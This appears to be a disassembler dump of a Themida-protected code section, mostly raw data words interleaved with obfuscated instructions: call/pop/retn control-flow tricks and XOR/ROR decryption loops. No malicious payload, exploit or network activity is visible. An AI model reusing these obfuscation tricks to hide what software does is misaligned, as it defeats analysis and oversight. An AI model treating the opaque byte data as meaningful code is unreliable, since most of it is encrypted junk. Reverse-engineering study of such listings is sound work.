0C3564600h, 8646E1DFh, 870F146Ah, 6, 19E9950Bh, 95FF0614h dd 6141169h, 8061D18Bh, 0B2E9E3D3h, 89FFFFFFh, 140A358Dh dd 106C706h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 69B1C353h, 0AA53E051h dd 66D08A60h, 61947CBAh, 4D1FBD83h, 0F050614h, 0F785h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 615DDDB6h, 1248C48Ah, 8D319EF3h, 61419C1h dd 753830BAh, 0F9B58B7Ch, 8B06142Eh, 14316195h, 8B576006h dd 141D4D85h, 89605F06h, 141D5595h dd 9E906h, 50630000h, 0FAE62BCCh, 61302468h, 64B961h, 0DF8B0000h dd 0FE83E80h, 1084h, 95895200h, 61401CDh, 18E95Ah, 0DE800000h dd 57E80A8h, 68840FC2h, 0F000000h, 581h, 49E3BB00h, 6A4670A8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 2CDFC350h, 0EAA00A4Ah, 0B36FBB78h, 0F4917C4h dd 0FFFFA385h, 2D8D89FFh, 0E9061408h, 2Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 54C35747h, 75CBBF19h dd 89464968h, 140571B5h, 0DFB70F06h, 9BD8358h, 6141Ch dd 1AD840Fh, 0B5890000h, 614228Dh, 2ED9958Bh, 6A600614h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0B880C351h, 8D0FC78Bh, 8, 2830Fh, 5B520000h dd 85C6DE8Bh, 6141A59h, 50006A54h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0A502D5FEh, 2EA59D2Bh dd 4E80614h, 0F4000000h, 0E9FF4EBEh, 7, 1707BDA4h, 50C88C98h dd 6E9h, 0B3D41D00h, 8B38AEA3h, 0B3042444h, 8B008B0Ch dd 244489DFh, 0F850F04h, 0E8000000h, 7, 0C11D6C40h, 60D10567h dd 6A585A61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 235EC355h, 29E5735h, 89D78B66h dd 1418B9B5h, 0D1B5FF06h, 0E906141Ah, 8, 7C6CB196h, 0AC58F826h dd 80DB858Dh, 9D890617h, 6141C01h, 6AD0FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 860F0DC3h dd 6, 0E15B501h, 6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 28C35545h, 81931CD4h, 8907E8CAh, 0E810F2Eh dd 60000000h, 7E9h, 0C0351200h, 0E672F01Bh, 9B5FF61h, 0BA06141Ch dd 4D96CA82h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 721791C3h, 4B45593h, 819326F9h dd 4292B1CAh, 0DE86145h, 0F7000000h, 0D876BD4Dh, 0B39153BDh dd 718327EEh, 9B99D03h, 0C75A0614h, 1429AD85h, 106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8160F889h, 0B6DABEE7h, 0F6B70F36h, 0D7B70F61h, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0DEDAA05Ah, 0CCFFDC86h, 15E19533h, 4E80614h, 80000000h dd 0BA000000h, 6AFA31C7h, 10E850h, 0C6ED0000h, 7272A449h dd 2541AAE0h, 0FEFD82C7h, 0E956D473h, 7, 88101048h, 5AD6A006h dd 24448B5Ah, 8E0F6004h, 4, 83C9BB66h, 6E9h, 0C283300h dd 61813C2Eh, 0D3BB008Bh, 8913BF9Fh, 56042444h, 0FE9h dd 0D614A500h, 6DE194C4h, 814EF783h, 56F6D50Ah, 9D8B585Ah dd 614002Dh, 19E1B509h, 0FF6A0614h, 9D19D8Bh, 95FF0614h dd 6143525h, 12E9h, 0FA5F8C00h, 550EC887h, 5263DE41h, 28448C54h dd 0E9C2A3E7h, 14h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh dd 2E18317h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0F7E3A356h, 3AAEF52Eh, 6820FDAh dd 8B000000h, 140C399Dh, 0D18B5006h, 81240489h, 266E87DBh dd 41B58952h, 8B06142Ah, 14219185h, 0D38B6606h, 840FC00Bh dd 11h, 15559D8Bh, 95FF0614h, 6141BE5h, 70D28166h, 6D85C716h dd 106140Dh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BCE7C353h, 0D788C7FBh dd 58D9D89h, 0E3810614h, 6F95F3FAh, 83DF8B66h, 141999BDh dd 840F0006h, 14h, 2B45958Bh, 95FF0614h, 6142CADh, 9D8B95B7h dd 6143069h, 24F1BD83h, 0F000614h, 1A84h, 0CE900h, 0C5B50000h dd 7E21B031h, 6240C8F9h, 95FF753Ch, 6140F7Dh, 83D88B66h dd 140905BDh, 840F0006h, 46h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0B9C35242h, 8AFCEF96h, 5379FA11h dd 0BDBD836Dh, 6142Ch, 14850Fh, 95230000h, 61434FDh, 3079958Bh dd 95FF0614h, 6140EFDh, 0BD83D78Ah, 6141D9Dh, 5C840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0E1CBC357h, 0F60FA7Ah, 682h, 7D9D8B00h dd 8006142Ch, 8161C0F5h, 141A4985h, 400306h, 81D38A00h dd 1430C185h, 400306h, 10800F00h, 0E9000000h, 0Bh, 0F92816D6h dd 8F4296C2h, 0F83C50Fh, 58D0F31h, 0BB000000h, 44A45547h dd 5C788D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0AC51FDC3h, 0FB749A87h, 2950935Fh dd 141B7D8Dh, 60018906h, 0ACD28166h, 31B589C6h, 61061420h dd 12E9C233h, 26000000h, 28F1F6Fh, 0EEC8E727h, 0B5EC866Eh dd 0CF5B1ECCh, 4418927h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 2FC35747h, 46F5B6EBh, 2C1D1952h, 0BE800h dd 84C40000h, 6060F13Bh, 1E63CAF9h, 0F19D8B60h, 5B061420h dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C02BA6C3h, 6B6E0D71h, 0E8164671h, 11h, 0D0C6C249h dd 0FC2B52F8h, 19F62EA6h, 10D608B9h, 0D7B70F9Eh, 0DD9D295Bh dd 8D06140Ah, 145C848Dh, 49BD8906h, 8906141Dh, 3DB58901h dd 33061431h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0BD8B9E9Eh, 7F2113D4h, 23DA8B66h dd 1423599Dh, 4418906h, 2820Fh, 1BB30000h, 2F41BD83h, 0F000614h dd 3184h, 0F3816600h, 0B52917EAh, 61402DDh, 1FC195FFh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 8DCECAC3h, 0BD832F26h, 6142401h, 2E850F01h dd 0FC000000h, 28E9h, 0D98D8900h, 8B06140Fh, 145E29B5h dd 6C706h, 8B000000h, 145BA0B5h, 6C706h, 0CF000000h, 0A503E381h dd 8B662D03h, 6DBD83D7h, 6140Dh, 18B840Fh, 9D890000h, 61425E1h dd 0BD83F88Ah, 6141BBDh, 45850F01h, 9000001h, 141FE1BDh dd 138D8B06h, 6A06144Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 3E00C356h, 6978EFD2h dd 0D381667Ah, 958B472Bh, 6142F99h, 6A0001C6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6D86C350h, 735DE762h, 128B25FDh, 0FE960h, 0A70E0000h dd 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 4E869h, 800000h dd 52520000h, 5BD08B66h, 0B960505Bh, 13185AEDh, 24448B61h dd 800F04h, 8B000000h, 0CE8A6000h, 24448961h, 81BA6604h dd 0BD8958F9h, 6143169h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0CFCF13C3h, 815765CBh dd 32C1CFEBh, 0BBB35B58h, 352595FFh, 6A0614h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 81674DC3h dd 618DD0E1h, 0F11958Bh, 95FF0614h dd 6141669h, 8BD88B66h, 14008195h, 138D8B06h, 6A06144Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 5193C351h, 0DD8AA06Ah, 0FEA572C9h, 0E4E68001h dd 203DBD83h, 0F010614h, 2485h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B90FBD7h dd 14318595h, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D63CC357h, 0B1BD83F5h dd 61430h, 0BD830975h, 6141AE1h, 501A7400h, 8BC08B53h dd 141A4985h, 49858906h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h dd 0E1BD8358h, 6141Ah, 53501874h, 1A49858Bh, 85890614h dd 6141A49h, 0B4299D8Dh, 0D3FF0616h, 0F56585Bh, 58Ch, 7101BA00h dd 0E85A2D47h, 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh, 138E0F6Ch dd 0E9000000h, 0Eh, 3FFF91Fh, 9F653618h, 0EF9932B2h, 8B5A16B9h dd 0DB8166C0h, 0BD831B1Fh, 6140D6Dh, 27850F00h, 8B000000h dd 14033D95h, 0E5BD8306h, 61419h, 14840Fh, 0FE90000h, 10000000h dd 118BD202h, 98F8E689h, 0C1165147h, 0BD8328AAh, 6140D6Dh dd 19840F00h, 89000000h, 1409E985h, 35BD8306h, 61425h dd 6840Fh, 95330000h, 6141501h, 0D6DBD83h, 0F000614h, 3384h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 9DF4E3B2h, 35BD83AAh, 61425h, 6840Fh, 85890000h dd 6140539h, 0D6DBD83h, 0F000614h, 1584h, 83DA8B00h, 140551BDh dd 840F0006h, 6, 2375958Bh, 0BD830614h, 6140D6Dh, 52840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0DDC4C350h, 10E952h, 800D0000h dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 835B5B76h, 1404B9BDh dd 840F0006h, 11h, 0DBA6656h, 95FF5AB5h, 61404D5h, 0D88B6660h dd 66C08B61h, 8336E4BAh, 1430B1BDh, 9750006h, 1AE1BD83h dd 74000614h, 8B53501Ah, 0C1858BC0h, 89061430h, 1430C185h dd 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh, 18740006h dd 858B5350h, 61430C1h, 30C18589h, 9D8D0614h, 616B442h dd 585BD3FFh, 1C31958Bh, 8B660614h, 31C08BD9h, 1419059Dh dd 0ADB58906h, 83061402h, 140D6DBDh, 840F0006h, 497h, 0FA19D8Bh dd 0E2810614h, 779FA672h, 1D51BD83h, 0F020614h, 3684h dd 0FFBA6600h, 1BD8355h, 1061424h, 25850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0FB56A2C3h, 687BD5C1h, 60DEEE80h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0E8C35646h, 8EEFD8h, 93635580h dd 6D9D01D4h, 0BB06142Fh, 580F49A3h, 4D138D8Bh, 0B5890614h dd 6142C35h, 950101FEh, 6141475h, 4E8h, 8000h, 11E85300h dd 4A000000h, 96643E3Ah, 422482ACh, 33FFF85h, 393D80D8h dd 5E8h, 0F687D800h, 5A5A7E10h, 12E9505Ah, 53000000h, 0B4753F21h dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 24448B92h, 9E904h dd 342F0000h, 785ED287h, 8BE1286Eh, 0BA665700h, 895BF24Ah dd 0E8042444h, 5, 0C517AAA6h, 0D78B665Bh, 6A585Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 5ECA82C3h, 0D1D1E6E0h, 0AEE28166h, 89FF6AA6h, 14261585h dd 2595FF06h, 6A061435h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0E56BC353h, 0C46238A3h dd 0CB8166E0h, 296140EBh, 142F299Dh, 0F5BD8D06h, 6A061412h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0A186C353h, 0E8604646h, 12h, 71567876h, 0A1E7864Bh dd 681C5BD5h, 0DFB1FB66h, 8B66D787h, 8D315ED0h, 6140D01h dd 1C4F8B61h, 74EB8166h, 60016A6Dh, 3850Fh, 0B70F0000h dd 0DE9DBh, 90B50000h, 7463E8D6h, 0FCE283C2h, 61E3680Fh dd 0A0BA6691h, 8B665008h, 6A91D1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 490E74C3h, 1B306D7Ch dd 8DD18B00h, 173E0685h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0E6D8B949h, 9D0BBB99h dd 61400B5h, 2CD99D8Bh, 0D0FF0614h, 6659509h, 4F8B0614h dd 69958920h, 6A06142Eh, 0E5958B03h, 50061402h, 89D38B66h dd 6A240Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD0902C3h, 614102Dh, 13AD9D8Bh, 0B70F0614h dd 6858DDAh, 8B06173Eh, 1423299Dh, 89D0FF06h, 1421658Dh dd 8DF38A06h, 1412F5BDh, 0DBB70F06h, 0F1C4F8Bh, 685h, 0B1BD8900h dd 6A061429h, 50D38B01h, 89D08B66h, 66FC240Ch, 858DD08Bh dd 6173E06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0CAC35040h, 0F78A6C7Eh, 8BE1BA66h, 13E8D0FFh, 0EB000000h dd 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh, 0F780755Fh dd 4F8B5AD4h, 919D8920h, 6A061411h, 57006A03h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 58EFB22Ah dd 0BE81Dh, 82260000h, 0D008E3E6h, 954A396Ah, 0C19D898Dh dd 5A061405h, 10E95091h, 48000000h, 11377253h, 0FF4659Dh dd 1147D850h, 91DFBF8Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 4FC35040h, 8F0FE734h, 0Dh, 0F1816660h dd 0B5233724h, 614030Dh, 6858D61h, 6A06173Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 399BC355h, 0DCFD68B9h, 1B7C2F3Ch, 46D9D03h, 0D0FF0614h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F5C35646h dd 8BDA8B66h, 144D138Dh, 916DBB06h, 1FE3306h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F6C35040h, 0CCDD5F65h dd 0EC2B2286h, 31958B56h, 5B06142Ah, 4D13858Bh, 0FE0614h dd 5B98589h, 16A0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 8DC35343h, 8D297168h, 6140D69h, 360E7668h dd 0D78B66EDh, 89243481h, 6A12C991h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 4D64C355h dd 238199BCh, 0D9838F86h, 1BFD9509h, 858D0614h, 6173E10h dd 83F5D0FFh, 1419E5BDh, 840F0006h, 106h, 159D8Bh, 0BD830614h dd 61412CDh, 0F3850F01h, 0E8000000h, 14h, 0EE8650BDh, 0D66547DCh dd 0F65D102Bh, 25D1524Eh, 70779CD7h, 5CF575BBh, 8D8D5B22h dd 6173E1Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 8BC35646h, 94FD70AEh, 0DCC686F8h, 60036A3Fh, 0BF0F65B2h dd 16A61D7h, 2EF1952Bh, 0D1FF0614h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 8C35040h, 0B0387165h, 9D8B182Eh dd 614223Dh, 8EF5B860h, 800F695Bh, 6, 2C299D8Bh, 6A610614h dd 8E85301h dd 0ED000000h, 0F05AF32Eh, 0BB579D3Bh, 4958D0B4h, 16A5B5Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 73C35747h dd 6850F60h, 89000000h, 140AFDB5h, 858D8B06h, 61061430h dd 9DBBD1FFh, 0E862DBB9h, 0FA476EB5h, 0D899D8Bh, 206A0614h dd 25398D31h, 0FF6A0614h, 8BEB8166h, 94CA81FFh, 0FF5EA20Ah dd 14352595h, 0B806h, 0BD890000h, 61430ADh, 840FC00Bh dd 2Ah, 0F659D8Bh, 0BD830614h, 6141A71h, 17840F00h, 0FF000000h dd 141DA995h, 0B880F06h, 0E9000000h, 6, 0A21E157Ch, 858BFEA2h dd 6142D01h, 6860Fh, 85890000h, 61421A9h, 6A0000C6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0E84EC352h, 0Dh, 16BEEFh, 0FCF60BB8h, 3EE39C43h, 0CD850953h dd 5A06140Fh, 15BD9D89h, 80580614h, 8C66A6D7h, 51006AD9h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0C7AD5AAEh, 958B9C5Ah, 614253Dh, 0F04C1F6h, 9184h, 0DEB70F00h dd 0C91385BBh, 84E942h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 807F86C3h, 0B58B76DEh dd 6142421h, 6E9h, 0B2C68400h, 81F6E873h, 1180C6h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 7BB258CCh, 6C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 8465ADC3h, 265FA83Ah dd 22F99503h, 0B35E0614h, 0F883C1h, 0B05840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0BD41DC3h, 1410B99Dh, 1F88306h, 186850Fh, 0BA660000h dd 0B8582Ah, 53000000h, 0F5B589h, 0B5A0614h, 0F5840FC0h dd 0F000000h, 680h, 399D2B00h, 8306142Ch, 840F01F8h, 0F3h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h dd 0D68BC87Bh, 0D8E28166h, 3F88379h, 40840Fh, 958B0000h dd 61431EDh, 0B8h, 8DAAB200h, 5B89E0BDh, 6820F00h, 1000000h dd 14230D9Dh, 6AE7FF06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 80FBC357h, 1B8B4DEh dd 89000000h, 14109D95h, 0E0BD8D06h, 6A005B89h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0F57CC353h, 0E7FF3344h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 63C35747h, 0DF8DB139h, 1FC23803h, 9E938h dd 17CE0000h, 9CB5BC89h, 8B1D01EDh, 14086995h, 18E0F06h dd 0FC000000h, 439FBD8Dh, 8C0F0614h, 0 ; --------------------------------------------------------------------------- jmp loc_54F90E ; --------------------------------------------------------------------------- mov dh, bl mov dword ptr [ebp+6144D6Eh], 5 push 0 push edi call sub_54F694 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F694 proc near ; CODE XREF: Themida_:0054F68Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_54F694 endp ; --------------------------------------------------------------------------- mov bh, 0Fh mov edi, 0D5BD89D8h sbb [esi+eax], edx mov eax, 5 push 0 push ebp call sub_54F6BE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F6BE proc near ; CODE XREF: Themida_:0054F6B6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_54F6BE endp ; --------------------------------------------------------------------------- dw 9BF0h dd 899E9636h, 1430ADB5h, 8EAE906h, 950B0000h, 6142BA1h dd 0F02F883h, 0C885h, 7E800h, 0F5570000h, 939EF62Dh, 5BD58A61h dd 0B8h, 0BD8B6000h, 6142539h, 0FC00B61h, 6A84h, 8D858900h dd 83061419h, 840F01F8h, 0FFFFFF5Fh, 2635B529h, 0F8830614h dd 0CB840F03h, 89FFFFFEh, 14199D8Dh, 0B806h, 9D8B0000h dd 6142C99h, 89E0BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 6EB782C3h, 0B742AE4Dh dd 0CB8166AEh, 950B03A3h, 61421B9h, 6EBBE7FFh, 8D307392h dd 144597BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 33173DBEh, 140C8D95h, 4D958906h dd 0E9061405h, 15Eh, 0FE1F3FBBh, 3F88363h, 4D850Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 3FEA11C3h, 7118D484h, 7E9h, 0CDDD6600h, 0BE9616CCh dd 8DDBBF0Fh, 14472BBDh, 6E906h, 86320000h, 0D7C0A1B8h dd 109E9h, 25952300h, 83061416h, 850F05F8h, 2Ah, 16799D03h dd 0A9E90614h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 6651C353h, 0F883DE8Bh dd 3D850F06h, 8B000000h, 23BD8DDFh, 6A061449h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0DA54C350h, 663F315Ah, 89AC98BAh, 142B3DBDh, 90E906h dd 8D310000h, 61413CDh, 0F07F883h, 3885h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 1D29BA3Ch, 0BD8D67DEh, 6141DB5h, 0E799D8Bh, 0BDE90614h dd 89000000h, 14319DBDh, 0AF88306h, 40850Fh, 0B5010000h dd 6142C91h, 4B1BBD8Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0C3B137C3h, 6E9h, 78F000h dd 0E980864Ah, 6, 1CD6F281h db 0A6h, 19h ; --------------------------------------------------------------------------- loc_54F90E: ; CODE XREF: Themida_:0054F678j push edi push 0 push edi call sub_54F91A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F91A proc near ; CODE XREF: Themida_:0054F912p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_54F91A endp ; --------------------------------------------------------------------------- dw 0F62h ; --------------------------------------------------------------------------- mov bh, 0DAh mov ecx, 0FF6FD85h mov dx, cx loc_54F936: ; CODE XREF: Themida_:0054F96Aj cmp dword ptr [edi], 0 jz loc_54F975 add ebx, [ebp+6140F79h] xor [edi], cl jle loc_54F959 js loc_54F959 mov [ebp+6142FB9h], ecx loc_54F959: ; CODE XREF: Themida_:0054F947j ; Themida_:0054F94Dj ror ecx, 1 mov edx, 403078CEh inc edi movzx edx, ax sub [ebp+6140BB5h], edx jmp loc_54F936 ; --------------------------------------------------------------------------- add [ebp+6142B31h], ebx loc_54F975: ; CODE XREF: Themida_:0054F939j pop edi sub [ebp+61419C9h], edx mov [ebp+6144D17h], edi mov [ebp+61416F5h], ebx mov ebx, eax lea ecx, [ebp+6140795h] push 0 push esi call sub_54F99B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F99B proc near ; CODE XREF: Themida_:0054F993p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_54F99B endp ; --------------------------------------------------------------------------- lodsb inc edi mov bx, 0B6C0h push dword ptr [ebp+6142EF9h] push 0 push eax call sub_54F9C2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54F9C2 proc near ; CODE XREF: Themida_:0054F9BAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_54F9C2 endp ; --------------------------------------------------------------------------- dw 17C0h ; --------------------------------------------------------------------------- fild dword ptr [edi+18016EC3h] push esi mov edx, 29A4C648h pop ebx call sub_54F9F1 stc adc byte ptr [edx+edi-68h], 19h sti inc edx retn 35D1h ; =============== S U B R O U T I N E ======================================= sub_54F9F1 proc near ; CODE XREF: Themida_:0054F9E1p ; FUNCTION CHUNK AT 0054FAEC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0054FC9B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0054FCB9 SIZE 00000003 BYTES mov bx, 5F95h pop ebx lea eax, [ebp+616A99Ah] push eax lea edi, [ebp+61453FBh] lea ecx, [ebp+6146E31h] mov eax, 54831ABCh sub ecx, edi loc_54FA10: ; CODE XREF: sub_54F9F1+25j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_54FA10 lea esi, [ebp+6146D96h] lea ecx, [ebp+6146E49h] sub ecx, edi rep movsb xor ecx, ecx mov eax, 0 or eax, eax jz short loc_54FA79 cmp dword ptr [ebp+6141A71h], 0 jz short loc_54FA42 call dword ptr [ebp+6141DA9h] loc_54FA42: ; CODE XREF: sub_54F9F1+49j mov esi, [ebp+6144D17h] lea eax, [ebp+616A99Ah] call eax lea eax, [ebp+614432Bh] call eax mov dword ptr [ebp+6143495h], 1 mov esp, [ebp+6143505h] mov esi, [ebp+6142679h] mov ebp, [ebp+6142E29h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_54FA79: ; CODE XREF: sub_54F9F1+40j mov [ebp+614210Dh], edi mov bl, ch sbb ebx, 52B5F971h cmp dword ptr [ebp+6142B95h], 0 jz loc_54FAEC push 0 push ebx call sub_54FA9F and [ebx-3Dh], bl sub_54F9F1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54FA9F proc near ; CODE XREF: sub_54F9F1+A6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_54FA9F endp ; --------------------------------------------------------------------------- db 16h dd 0B97AE6ABh, 66753A6Bh, 4B3BD281h, 91195FFh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 127284C3h, 6E5B0F85h, 958BFCA9h, 6140B81h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54F9F1 loc_54FAEC: ; CODE XREF: sub_54F9F1+9Dj cmp dword ptr [ebp+61403D9h], 0 jnz loc_54FC9B push 0 push ebx call sub_54FB04 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_54F9F1 ; =============== S U B R O U T I N E ======================================= sub_54FB04 proc near ; CODE XREF: sub_54F9F1+10Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_54FB04 endp ; --------------------------------------------------------------------------- dd 994B62A9h, 0FEE49C76h, 83D8B70Fh, 1412CDBDh, 850F0106h dd 16Fh, 0BD83DA8Bh, 6143181h, 60840F00h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 7913C350h, 81A8871Ah, 57B803EBh, 6ABD837Fh, 6144Dh dd 12D840Fh, 0DE90000h, 6000000h, 8C92FA30h, 0DDA338CAh dd 0FA7EB0E8h, 0A99A858Dh, 6A0616h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 68BBA6C3h dd 0BE820E1Fh, 0F398DB3h, 82h, 17B58B00h, 8B06144Dh, 141C7195h dd 60D0FF06h, 22F58D8Bh, 0B52B0614h, 6141A55h, 5985C661h dd 5406141Ah, 0E09EBB50h, 685A752Ch, 0BB17B878h, 6E9h dd 0BE04A300h, 8172845Dh, 68C2434h, 6A4459h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 39BAF9C3h dd 0FA4DE27Ah, 0B70F9A8Dh, 45B5FFD8h, 6A061411h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8D0EC352h, 143B1385h, 25BA6606h, 89D0FF8Dh, 140D69BDh dd 80006A06h, 0B70FB5F2h, 9FF6AD3h, 141C999Dh, 8BD0FF06h dd 1404319Dh, 19B5FF06h, 89061432h, 1416DD85h, 0F995FF06h dd 6A06142Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 67CDC356h, 3D9D2B01h ; --------------------------------------------------------------------------- sbb [esi+eax], edx ; START OF FUNCTION CHUNK FOR sub_54F9F1 loc_54FC9B: ; CODE XREF: sub_54F9F1+102j mov esi, [ebp+6144D17h] push esi pusha or [ebp+6140C65h], eax jmp loc_54FCB9 ; END OF FUNCTION CHUNK FOR sub_54F9F1 ; --------------------------------------------------------------------------- dw 4802h ; --------------------------------------------------------------------------- adc [eax], dl 